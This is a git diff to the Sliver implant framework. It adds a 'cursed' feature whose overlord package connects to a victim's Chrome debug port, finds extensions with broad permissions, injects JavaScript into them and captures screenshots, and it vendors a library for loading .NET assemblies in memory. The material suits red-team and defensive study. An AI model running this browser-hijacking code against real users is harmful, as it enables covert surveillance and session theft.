a/client/constants/constants.go b/client/constants/constants.go index 6ab1f6ded3..ef30970a16 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -238,6 +238,11 @@ const ( ConnectStr = "connect" ShikataGaNai = "shikata-ga-nai" + + Cursed = "cursed" + CursedChrome = "chrome" + CursedConsole = "console" + CursedElectron = "electron" ) // Groups diff --git a/client/core/curses.go b/client/core/curses.go new file mode 100644 index 0000000000..9df00d1a8c --- /dev/null +++ b/client/core/curses.go @@ -0,0 +1,92 @@ +package core + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net/url" + "sync" +) + +var ( + // SessionID -> CursedProcess + CursedProcesses = &sync.Map{} +) + +type CursedProcess struct { + SessionID string + PID uint32 + BindTCPPort int + PortFwd *Portfwd + Platform string + ExePath string + ChromeUserDataDir string +} + +func (c *CursedProcess) DebugURL() *url.URL { + return &url.URL{ + Scheme: "http", + Host: fmt.Sprintf("localhost:%d", c.BindTCPPort), + Path: "/json", + } +} + +func CursedProcessBySessionID(sessionID string) []*CursedProcess { + var cursedProcesses []*CursedProcess + CursedProcesses.Range(func(key, value interface{}) bool { + cursedProcess := value.(*CursedProcess) + if cursedProcess.SessionID == sessionID { + cursedProcesses = append(cursedProcesses, cursedProcess) + } + return true + }) + return cursedProcesses +} + +func CloseCursedProcesses(sessionID string) { + CursedProcesses.Range(func(key, value interface{}) bool { + cursedProcess := value.(*CursedProcess) + if cursedProcess.SessionID == sessionID { + defer func() { + value, loaded := CursedProcesses.LoadAndDelete(key) + if loaded { + curse := value.(*CursedProcess) + Portfwds.Remove(curse.PortFwd.ID) + } + }() + } + return true + }) +} + +func CloseCursedProcessesByBindPort(sessionID string, bindPort int) { + CursedProcesses.Range(func(key, value interface{}) bool { + cursedProcess := value.(*CursedProcess) + if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort { + defer func() { + value, loaded := CursedProcesses.LoadAndDelete(key) + if loaded { + curse := value.(*CursedProcess) + Portfwds.Remove(curse.PortFwd.ID) + } + }() + } + return true + }) +} diff --git a/client/overlord/overlord.go b/client/overlord/overlord.go new file mode 100644 index 0000000000..bba5c5409a --- /dev/null +++ b/client/overlord/overlord.go @@ -0,0 +1,300 @@ +package overlord + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io/ioutil" + "log" + "net/http" + "net/url" + + "github.com/bishopfox/sliver/client/core" + "github.com/chromedp/cdproto/page" + "github.com/chromedp/cdproto/target" + "github.com/chromedp/chromedp" +) + +const ( + // AllURLs - All URLs permission + AllURLs = "" + + // AllHTTP - All HTTP permission + AllHTTP = "http://*/*" + + // AllHTTPS - All HTTP permission + AllHTTPS = "https://*/*" + + // WebRequest - WebRequest permission + WebRequest = "webRequest" + + // WebRequestBlocking - WebRequestBlocking permission + WebRequestBlocking = "webRequestBlocking" + + // FetchManifestJS - Get extension manifest + FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()" +) + +var ( + // ErrTargetNotFound - Returned when a target cannot be found + ErrTargetNotFound = errors.New("Target not found") +) + +// ManifestBackground - An extension manifest file +type ManifestBackground struct { + Scripts []string `json:"scripts"` + Persistent bool `json:"persistent"` +} + +// Manifest - An extension manifest file +type Manifest struct { + Name string `json:"name"` + Version string `json:"version"` + Description string `json:"description"` + ManifestVersion int `json:"manifest_version"` + Permissions []string `json:"permissions"` + Background ManifestBackground `json:"background"` +} + +// ChromeDebugTarget - A single debug context object +type ChromeDebugTarget struct { + Description string `json:"description"` + DevToolsFrontendURL string `json:"devtoolsFrontendUrl"` + ID string `json:"id"` + Title string `json:"title"` + Type string `json:"type"` + URL string `json:"url"` + WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"` +} + +var allocCtx context.Context + +func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) { + opts := []func(*chromedp.ExecAllocator){ + chromedp.Flag("restore-last-session", true), + chromedp.UserDataDir(userHomeDir), + } + switch platform { + case "darwin": + opts = append(opts, + chromedp.Flag("headless", false), + chromedp.Flag("use-mock-keychain", false), + ) + default: + opts = append(opts, chromedp.Headless) + } + opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...) + return opts +} + +func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) { + var ( + cancel context.CancelFunc + ) + if webSocketURL != "" { + allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL) + } else { + opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform) + allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...) + } + taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf)) + return taskCtx, taskCancel, cancel +} + +func findTargetInfoByID(ctx context.Context, targetID string) *target.Info { + targets, err := chromedp.Targets(ctx) + if err != nil { + return nil + } + for _, targetInfo := range targets { + if fmt.Sprintf("%s", targetInfo.TargetID) == targetID { + return targetInfo + } + } + return nil +} + +func contains(haystack []string, needle string) bool { + set := make(map[string]struct{}, len(haystack)) + for _, entry := range haystack { + set[entry] = struct{}{} + } + _, ok := set[needle] + return ok +} + +func containsAll(haystack []string, needles []string) bool { + all := true + for _, needle := range needles { + if !contains(haystack, needle) { + all = false + break + } + } + return all +} + +// ExecuteJS - injects a JavaScript code into a target +func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) { + targetInfo := findTargetInfoByID(ctx, targetID) + if targetInfo == nil { + return nil, ErrTargetNotFound + } + extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID)) + var result []byte + err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result)) + return result, err +} + +// FindExtensionWithPermissions - Find an extension with a permission +func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) { + targets, err := QueryExtensionDebugTargets(curse.DebugURL().String()) + if err != nil { + return nil, err + } + for _, target := range targets { + ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse) + result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS) + if err != nil { + continue + } + manifest := &Manifest{} + err = json.Unmarshal(result, manifest) + if err != nil { + continue + } + if containsAll(manifest.Permissions, permissions) { + return &target, nil + } + } + return nil, nil // No targets, no errors +} + +// FindExtensionsWithPermissions - Find an extension with a permission +func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) { + targets, err := QueryExtensionDebugTargets(curse.DebugURL().String()) + if err != nil { + return nil, err + } + extensions := []*ChromeDebugTarget{} + for _, target := range targets { + ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse) + result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS) + if err != nil { + continue + } + manifest := &Manifest{} + err = json.Unmarshal(result, manifest) + if err != nil { + continue + } + if containsAll(manifest.Permissions, permissions) { + extensions = append(extensions, &target) + } + } + return extensions, nil +} + +// QueryDebugTargets - Query debug listener using HTTP client +func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) { + resp, err := http.Get(debugURL) + if err != nil { + return nil, err + } + if resp.StatusCode != 200 { + return nil, errors.New("Non-200 status code") + } + data, err := ioutil.ReadAll(resp.Body) + if err != nil { + return nil, err + } + debugContexts := []ChromeDebugTarget{} + err = json.Unmarshal(data, &debugContexts) + return debugContexts, err +} + +// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only +func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) { + resp, err := http.Get(debugURL) + if err != nil { + return nil, err + } + if resp.StatusCode != 200 { + return nil, errors.New("Non-200 status code") + } + data, err := ioutil.ReadAll(resp.Body) + if err != nil { + return nil, err + } + debugContexts := []ChromeDebugTarget{} + err = json.Unmarshal(data, &debugContexts) + if err != nil { + return nil, err + } + extensionContexts := []ChromeDebugTarget{} + for _, debugCtx := range debugContexts { + ctxURL, err := url.Parse(debugCtx.URL) + if err != nil { + continue + } + if ctxURL.Scheme == "chrome-extension" { + extensionContexts = append(extensionContexts, debugCtx) + } + } + return extensionContexts, nil +} + +// Screenshot - Take a screenshot of a Chrome context +func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) { + var result []byte + screenshotTask := chromedp.Tasks{ + chromedp.ActionFunc(func(ctx context.Context) error { + _, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx) + if err != nil { + return err + } + result, err = page.CaptureScreenshot(). + WithQuality(quality). + WithClip(&page.Viewport{ + X: contentSize.X, + Y: contentSize.Y, + Width: contentSize.Width, + Height: contentSize.Height, + Scale: 1, + }).Do(ctx) + if err != nil { + return err + } + return nil + }), + } + + taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse) + defer taskCancel() + defer cancel() + targetInfo := findTargetInfoByID(taskCtx, targetID) + if targetInfo == nil { + return []byte{}, ErrTargetNotFound + } + ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID)) + if err := chromedp.Run(ctx, screenshotTask); err != nil { + return nil, err + } + return result, nil +} diff --git a/go.mod b/go.mod index e7650e0d25..1ff1da8d1b 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module github.com/bishopfox/sliver -go 1.17 +go 1.18 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6 @@ -10,8 +10,11 @@ require ( github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 + github.com/Ne0nd0g/go-clr v1.0.2 github.com/alecthomas/chroma v0.8.1 github.com/cheggaaa/pb/v3 v3.0.5 + github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf + github.com/chromedp/chromedp v0.8.5 github.com/desertbit/columnize v2.1.0+incompatible github.com/desertbit/go-shlex v0.1.1 github.com/desertbit/grumble v1.1.1 @@ -35,7 +38,7 @@ require ( github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd golang.org/x/net v0.0.0-20220225172249-27dd8689420f - golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 + golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 golang.org/x/text v0.3.7 golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 @@ -61,6 +64,7 @@ require ( github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect + github.com/chromedp/sysutil v1.0.0 // indirect github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect @@ -70,6 +74,9 @@ require ( github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-sql-driver/mysql v1.5.0 // indirect + github.com/gobwas/httphead v0.1.0 // indirect + github.com/gobwas/pool v0.2.1 // indirect + github.com/gobwas/ws v1.1.0 // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/google/btree v1.0.1 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect @@ -85,9 +92,11 @@ require ( github.com/jackc/pgx/v4 v4.9.0 // indirect github.com/jinzhu/inflection v1.0.0 // indirect github.com/jinzhu/now v1.1.2 // indirect + github.com/josharian/intern v1.0.0 // indirect github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect + github.com/mailru/easyjson v0.7.7 // indirect github.com/mattn/go-colorable v0.1.8 // indirect github.com/mattn/go-isatty v0.0.13 // indirect github.com/mattn/go-runewidth v0.0.9 // indirect diff --git a/go.sum b/go.sum index 77fcb929a0..2ed05c1217 100644 --- a/go.sum +++ b/go.sum @@ -85,6 +85,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg= github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= +github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY= +github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc= github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0= github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc= @@ -152,6 +154,12 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw= github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE= github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw= +github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s= +github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0= +github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw= +github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4= +github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic= +github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww= github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= @@ -322,6 +330,12 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs= github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= +github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA= +github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0= github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw= github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw= github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4= @@ -537,6 +551,8 @@ github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/ github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= +github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= @@ -569,6 +585,8 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA= github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk= github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U= @@ -589,6 +607,8 @@ github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs= +github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= +github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho= github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= @@ -689,6 +709,8 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/ github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs= github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= @@ -1068,6 +1090,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1092,8 +1115,10 @@ golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc= golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM= +golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= diff --git a/implant/sliver/handlers/handlers.go b/implant/sliver/handlers/handlers.go index 56b910b8e1..45bbd606a4 100644 --- a/implant/sliver/handlers/handlers.go +++ b/implant/sliver/handlers/handlers.go @@ -593,6 +593,9 @@ func executeHandler(data []byte, resp RPCResponse) { Err: fmt.Sprintf("%s", err), } } + if cmd.Process != nil { + execResp.Pid = uint32(cmd.Process.Pid) + } } data, err = proto.Marshal(execResp) resp(data, err) diff --git a/implant/sliver/ps/ps_darwin.go b/implant/sliver/ps/ps_darwin.go index 335f35b1e7..19b973fd42 100644 --- a/implant/sliver/ps/ps_darwin.go +++ b/implant/sliver/ps/ps_darwin.go @@ -1,3 +1,4 @@ +//go:build darwin // +build darwin package ps @@ -90,6 +91,7 @@ func processes() ([]Process, error) { pCommReader := bytes.NewBuffer(pComm) binPath, _ = pCommReader.ReadString(0x00) } + binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte // Discard the error: if the call errors out, we'll just have an empty argv slice cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid)) diff --git a/vendor/github.com/Ne0nd0g/go-clr/.gitignore b/vendor/github.com/Ne0nd0g/go-clr/.gitignore new file mode 100644 index 0000000000..8cfdfd9e5d --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/.gitignore @@ -0,0 +1,7 @@ +.idea +__handlers__ +*.exe +*.dll +*.cs +scratch/ +static/ \ No newline at end of file diff --git a/vendor/github.com/Ne0nd0g/go-clr/LICENSE b/vendor/github.com/Ne0nd0g/go-clr/LICENSE new file mode 100644 index 0000000000..9042c25eda --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/LICENSE @@ -0,0 +1,13 @@ + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + Version 2, December 2004 + + Copyright (C) 2004 Sam Hocevar + + Everyone is permitted to copy and distribute verbatim or modified + copies of this license document, and changing it is allowed as long + as the name is changed. + + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. You just DO WHAT THE FUCK YOU WANT TO. diff --git a/vendor/github.com/Ne0nd0g/go-clr/README.md b/vendor/github.com/Ne0nd0g/go-clr/README.md new file mode 100644 index 0000000000..f02881556b --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/README.md @@ -0,0 +1,69 @@ +# go-clr +[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr) + +This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory. + +It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to +load structs from memory. + +For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/). + +This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use +of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward, +but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools. + +## Installation and Usage +`go-clr` is intended to be used as a package in other scripts. Install it with: +```bash +go get github.com/ropnop/go-clr +``` + +Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods +necessary to customize, but it 